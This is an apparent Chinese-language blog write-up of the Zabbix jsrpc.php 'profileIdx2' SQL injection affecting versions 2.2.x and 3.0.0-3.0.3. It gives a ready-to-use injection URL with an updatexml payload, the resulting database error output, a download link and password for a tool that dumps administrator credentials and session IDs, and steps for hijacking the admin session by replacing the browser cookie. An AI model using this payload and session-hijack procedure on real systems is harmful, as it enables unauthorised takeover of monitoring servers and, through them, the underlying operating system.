漏洞概述
zabbix是一個開源的企業級性能監控解決方案。近日,zabbix的jsrpc的profileIdx2參數存在insert方式的SQL注入漏洞,攻擊者無需授權登陸即可登陸zabbix管理系統,也可通過script等功能輕易直接獲取zabbix服務器的操作系統權限。
影響程度
攻擊成本:低 危害程度:高 是否登陸:不需要 影響范圍:2.2.x, 3.0.0-3.0.3。(其他版本未經測試)
漏洞測試
在zabbix地址后面添加這串url
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx 2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
如果顯示以下內容,則說明存在profileIdx 2 參數注入漏洞
<div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">reset() expects parameter 1 to be array, null given [jsrpc.php:208 → CScreenHistory->get() → reset() in /usr/share/zabbix/include/classes/screens/CScreenHistory.php:106]</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (230, 2, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,md5(0x11),1) or 1=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (231, 2, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,md5(0x11),1) or 1=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (232, 2, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,md5(0x11),1) or 1=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table>
漏洞檢測工具及使用
下載鏈接:http://pan.baidu.com/s/1skLY1f3 密碼:kl8e
在地址欄中輸入zabbix網站地址,如果存在漏洞將會彈窗提示 並輸出賬號密碼 以及sessionid
漏洞檢測工具內容的利用
1.我們獲取到了網站管理員的session_id,我們可以修改瀏覽器session_id參數內容來進入管理頁面
2.解密密碼然后輸入賬號密碼進入
在這里只介紹一種
首先我們已經獲取了網站管理員的session_id:
ae74ae71d2ef6752c7ecc8beed4c0858
然后我們可以利用firebug來修改網站的cookie儲存內容
將此內容修改為我們獲取到的session_id
然后確定並刷新頁面我們就可以進入到管理頁面了
結束~~~~~